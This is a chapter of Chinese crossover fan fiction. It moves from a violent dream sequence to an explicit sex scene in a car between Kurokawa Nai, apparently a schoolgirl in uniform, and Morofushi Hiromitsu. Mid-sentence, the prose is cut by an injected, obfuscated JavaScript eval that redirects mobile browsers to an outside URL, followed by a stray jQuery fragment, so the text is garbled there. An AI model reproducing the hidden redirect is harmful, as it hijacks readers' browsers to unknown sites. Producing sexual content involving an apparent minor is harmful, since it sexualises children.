黑川奈途经医院门口的灌木丛，手上多了被领带绑成一团的书包和外套。


    她沿着行人道慢慢走着。


    一辆银灰色的沃尔沃滑到她身边，车窗落下。


    她没去看驾驶座上的人，任他驱车跟在自己身边身后。


    直到走出一段距离，才开口。


    “好巧，你也是来医院看病的吗？”


    她的声音听不出情绪。


    “我来看望雅美小姐，”诸伏景光一顿，“小奈小姐，今晚我就要离开了。”。


    “她情况如何？”


    他以为她会问他去哪、什么时候回……


    黑川光顿了两秒才开口。


    “依旧昏迷不醒，医生说或许是因为之前的生活过于沉重所以雅美小姐不愿醒来，”男人熟练地控制车辆速度，让驾驶座和行走的人始终处在一条线上。


    “是吗？”黑川奈回了一声，脚步一顿，朝着人烟稀少的方向走去，“你去哪。”


    沃尔沃顺着少女的步调，始终跟随在她的身边。


    “柏林。”


    中央病院靠近公园，一条公路贯穿公园两侧。


    道路两旁是草地，这个点没什么人，只是有一两对情侣或者夫妻在散步。


    “小奈小姐，”见黑川奈没说话，诸伏景光说，“关于昨天的事，我有些话想和您说。”


    他的声音在夜风中很低。


    今天天气很好，深入公园远离光线之后，夜晚的星河逐渐变得明亮，星星点点。


    她知道对方把车停在路边，跟在自己身后，但她没回头。


    “什么时候知道我在调查立原路和川本宪一？”


    黑川奈缓慢走在前方，没给他说话的机会。


    “其实也没有多久，在川本宪一联系我之后。”


    “是哪次联系？”


    她转过身。


    诸伏景光没说话，与少女相对视的瞳孔幽深。


    她忽的笑了。


    “呐，小光，我有和你说过我的过去吗？”


    她抬头，望向远处的星空，看上去竟然和流星街别无二致。


    明明两个分明就是不同的世界，却有着同一片星河。


    不等诸伏景光回答，她自顾自接着说，“我向来不喜欢小孩，那种脆弱、柔软的生物、可以被人轻易摧毁的生物。”


    在全信仰教堂演出之后，萨拉萨就失踪了。


    “我亲眼看着那女孩的尸块，却没办法救她。”


    “那是□□的最后一次捕猎行动，我原本其实可以把小萨救出来，可没想到他们还为行动请来了杀手。”


    “您是说揍敌客吗……唔！”


    她的瞳孔瞬间缩小，回身用手钳住一米外男人的脖子，手指止不住地收拢。


    “你怎么知道这三个字！”


    风被割裂。


    她手上松开了男人，向后闪躲。


    “黑川光。”


    她危险地眯起眼，手臂已经被子弹划开，鲜血正在逐渐浸湿雪白的校服衬衫。


    “不……应该叫你Hiromitsu会更合适一些吧。”


    那双眼睛依旧是熟悉的蓝色，如今却充斥着诧异和陌生，不过他很聪明，很快就想明白了。


    “果然，您还是听到了，我的名字。”


    男人的脸留着窒息后的苍白，手上曾经用来打碎监听器的USP在手帕下发着危险的幽光。


    “带着面具的日子不好过吧，”黑川奈把袖子从伤口处撕碎，掌心覆盖在伤口处，等她再次放下时，子弹造成的划痕已经变成粉白色的伤疤。


    “怎么会呢？身为您的管家可是前所未有地轻松，而且……无论多少次看见您的能力，我都会为之惊叹，”诸伏景光目不转睛地盯着她手臂上的伤痕，眼中闪着痴狂，“这次，您又用了哪段记忆作为代价呢？”


    男人的嘴角勾起。


    深邃的目光将他的样貌逐渐融成另一个人。


    另一个，有着漆黑瞳孔的男人。


    “库……洛洛！”


    黑川奈咬牙，记忆像流水涌上将她吞噬。


    倾身向前。


    掌心陷入到男人温暖湿润的胸腔。


    手枪颓然地掉在地上。


    高大的男人缓慢地倒下。


    她垂眸。


    那双蓝眼逐渐褪去以往的色彩，化作两潭死水，和她的胸口一同变得空白。


    奇异且扭曲的感情。


    他是什么时候变成自己的弱点？


    黑川奈手覆在胸上，感受心脏尖锐地刺痛。


    如此真实，如此剧烈，几乎要将她整个人撕碎。


    奈，身为揍敌客家的孩子，你不需要弱点。


    是的，她不需要弱点。


    她从始至终就都是一个人。


    “小奈！”


    天空中传来呼唤。


    黑川奈仓皇抬头。


    “小奈！快醒醒！”


    地上的男人化做光点飞散，击碎公园静谧的假象。


    车厢内，诸伏景光面色焦虑地摇晃着少女的身体，在走出医院不远，她的身体忽然倒下。


    好在简单检查后并无什么大碍。


    只是在上了车后不久便陷入梦魇。


    少女青白的面容紧绷，额上满是汗水，放在膝盖上的手指抽搐着，修剪得体的指甲时不时变得利刃般尖锐又重新平整。


    简直不像人类。


    但他依旧紧抓那双冰冷的手，哪怕指甲在他手上划出可怖的血痕。


    四周如镜面破碎。


    黑川奈猛地睁开双眼。


    映入眼帘是诸伏景光担忧的脸。


    她的胸膛剧烈起伏，瞳孔如冷血动物般收缩，拼命克制住自己想要杀人的冲动。


    什么时候……


    竟然连他都变成了她的梦魇。


    四周喧嚣，很多人已经用完晚饭，和家人一起在公园散步，时不时有人经过车子，车窗做了特殊处理，加厚的同时外面也无法窥视到车内。


    “你……没死？”黑川奈意识逐渐清醒，她疲惫地抬眸。


    “您梦到不好的事情，”诸伏景光笃定，内心发慌。


    “我梦到……”黑川奈手指抽动，被诸伏景光紧紧握住，空气中漫出铁锈味，他的掌心已经被她划出几道狰狞的痕迹。


    她最终摇摇头，拒绝说出可怖的梦魇。


    “你……想对我说什么？”


    她闭着眼，栖在男人宽阔的肩膀。


    她想知道是什么时候开始自己掉入到了幻境当中。


    诸伏景光抬起手臂，似乎想要揽住少女的腰身，但抬到半空中却放下。


    车内很安静，她们在黑暗中听着过路的行人聊着家长里短。


    “我……今天一整天都在思考，思考小奈小姐为什么会忽然……”


    “忽然向你告白是吗？”


    “嗯。”


    “所以你思考的结果。”


    诸伏景光喉咙微动，半响。


    “小奈小姐……我很抱歉。”


    她抬起头，墨绿色的瞳孔是一汪深不见底的潭。


    “小奈小姐……我是一个很自私的人，昨天，我真的很高兴，能够得到您的青睐，可我不能做一个乘人之危的伪君子……”


    “你喜欢的其实是星野奈？”


    这个名字在她口中十分突兀。


    诸伏景光的眼眶睁大，飞快否决了少女的说法。


    “我只是认为您还没有回忆起过去的事情所以……不公平。”


    他无助地摇头，垂落的发丝在他眉眼中映出摇晃的虚影。


    “比如？”


    “比如……”


    诸伏景光咬牙，脉搏从握紧的手腕上浮起，最终松懈。


    “您曾经有喜欢的人。”


    他挫败地闭上眼，“我是一个卑鄙的小偷，为您的失忆感到欢喜的小偷，试图偷走您过去占有您现在和未来的无能小偷。”


    诸伏景光的脑袋垂到一侧，空洞的眼睛望着漆黑的车窗。


    黑川奈的眼睛很明亮，她以算得上强硬的态度，把青年的脸掰正，只是那双眼睛在和她对上的瞬间阖上。


    “睁眼，看着我。”


    她命令道。


    可他双眼颤抖。


    黑暗中传出少女的叹息。


    她欺身而上，用温热的舌尖盖住了诸伏景光的左眼。


    “唔！”


    诸伏景光试图推开少女，可她的力气从来就不是他能够制止的。


    黑川奈的舌尖捕捉着薄薄眼皮下方的球体。


    分离时，一道银丝滑落。


    他终于能够睁开那双重新恢复色彩的眼。


    少女狡黠的笑容占据他所有视网膜。


    “终于肯看我了？”


    她问。


    诸伏景光抿住唇，没有说话，沉思片刻后，抱着少女把手伸进包中取出一本日记本。


    “这是您受伤昏迷之前留下的日记，”他沉声道，脸上的红晕还未消去，眼角的红艳丽无比，“里面……有您想知道的东西。”


    可黑川奈看都没看那本小册子，手一挥把它丢到了前座。


    “黑川光……不，是Hiromitsu，”她的脸色务必认真。


    听到自己的名字从少女的口中呼唤出来，诸伏景光先是一愣，露出了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877096|174139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    释怀的笑。


    “你看过日记本里的东西了吧，”她的手指攀上男人的脸颊，“既然看过，应该也能知道我的来历……无论是黑川奈，还是星野奈，从始至终，我只是我，我做出的决定永远都不会变，即便如此，你还是坚持你的想法吗？”


    她的神情前所未有的认真。


    可诸伏景光依旧坚决地点头。


    黑川奈嘴角一瘪，起身跨坐在了男人的身上。


    “小奈小姐你……你，唔！”


    “分就分！但我一向喜欢分手之前打一炮。”


    分明是弹孔穿透过的地方，血肉却如此茁壮蓬勃。


    窗外，公园幽暗的光晕投在窗上，迷迷糊糊流动着。


    “小奈，别，这里还在车上！”


    黑川奈冷哼一声。


    她可不管这些有的没的，将对方身上的外套撕开，里面只穿了一件紧身的黑色高领长袖，贴身至极，轮廓分明。


    诸伏景光身上的衣服被少女任性地推到脖子，遮住时不时抖动的喉结。


    可烦人的布料老是不听话地向下滑。


    “咬住，”她很有耐心地再次把布料推到他的嘴边，命令，在他的鼻尖吻了一口，“乖。”


    诸伏景光的脑子一片柔软，稀里糊涂地就听了话。


    “听着，不需要你回答，我说什么，说对了，你就点头，错了你就摇头，拒绝回答我会让你尝到惩罚。”


    黑川奈抬起身子，和那双眼相对视。


    “你看得懂流星街语。”


    她问出了第一个问题，身子下沉。


    诸伏景光身子僵硬，点头。


    “和我一样是在那个世界死后来到这的？”


    他摇头，鼻息粗糙。


    “诶~那该不会是小光你自己研究出来的吧！”


    她撑起身子去看男人的表情。


    诸伏景光的脸已经红得不能再红，腿部的肌肉几近痉挛。


    这对他来说就简直就像是折磨。


    他想伸出手环住少女的腰身使劲，却被对方眼疾手快地制住，将掌心压在左右膝盖下。


    “回答我，是或不是。”


    男人只能把头埋进她的颈窝点点头。


    “好孩子，”她抱住男人的脑袋，脆弱的后颈正在她的指尖跳动。


    她不吝啬自己的温度，两人的距离被她拉进。


    “怪不得你还会希腊语。”


    她喃喃自语。


    “我那些不堪的过去，本来还想把你蒙在鼓里。”


    黑发男人的喘息愈发强烈，挣脱了少女的膝盖，把碍事的上衣甩到一遍，露出健壮、绯红的皮肤。


    可当他要把握主动权的时候，又被她遏制。


    “小奈小姐，请不要欺负我，”他的唇齿在黑川奈的耳尖摩挲，把那小巧的耳垂含进口中。


    “坏小光，”黑川奈脸上满是笑意，身体坐得格外挺直，指尖轻捻青年脸颊旁的发丝，“我的问题还没问完呢，心急可吃不了热豆腐哦。”


    诸伏景光蹭了蹭她的颈窝作为回答，“您可以接着问。”


    “那我就不客气了？”


    他点点头。


    少女的轻哼消失在诸伏景光的呼吸当中。


    “你所说我之前喜欢的人是谁？”


    诸伏景光呼吸一滞，脸色僵硬，呼吸断了一截。


    “小奈小姐，您能这么欺负我……”


    他咬住少女的耳垂。


    “我就是个坏女人啊，你在那本日记里没看出来吗？”


    她嬉笑着，下沉身子。


    可下一秒却睁大了眼睛。


    急促的闷哼从她喉咙里冒出，身体失去力量，倒在男人的肩头。


    “坏小光。”


    她咬牙切齿。


    “小奈小姐才是，杂鱼……”


    男人终于可以抱住少女，眷恋地感受她身上冰凉的温度。


    “你！你去哪里学的这种词！”


    “明明是小奈小姐昨天才教我的，小奈小姐很喜欢吧，”他蹭着和自己同样散发出柑橘香气的侧颈，“就连……都……又，又去了吗？明明还没怎么动……”


    “这样的小奈小姐，等我出了国该怎么办呀，”他叹息道，“要是趁我不在被隔壁黄毛……抱歉。”


    “黄毛？黄毛怎么了？”黑川奈咬牙挺身，却再次发出哼唧声音，咬着牙坚持说完，“等你不在我立马出去找十个黄毛男丨模排着队被我玩！”


    她终于是恢复了以往的活力。


    诸伏景光抱紧少女，紧到足以将她完全嵌入自己的身子。


    “无论是谁，我都不会输，所以，请您等我回来。”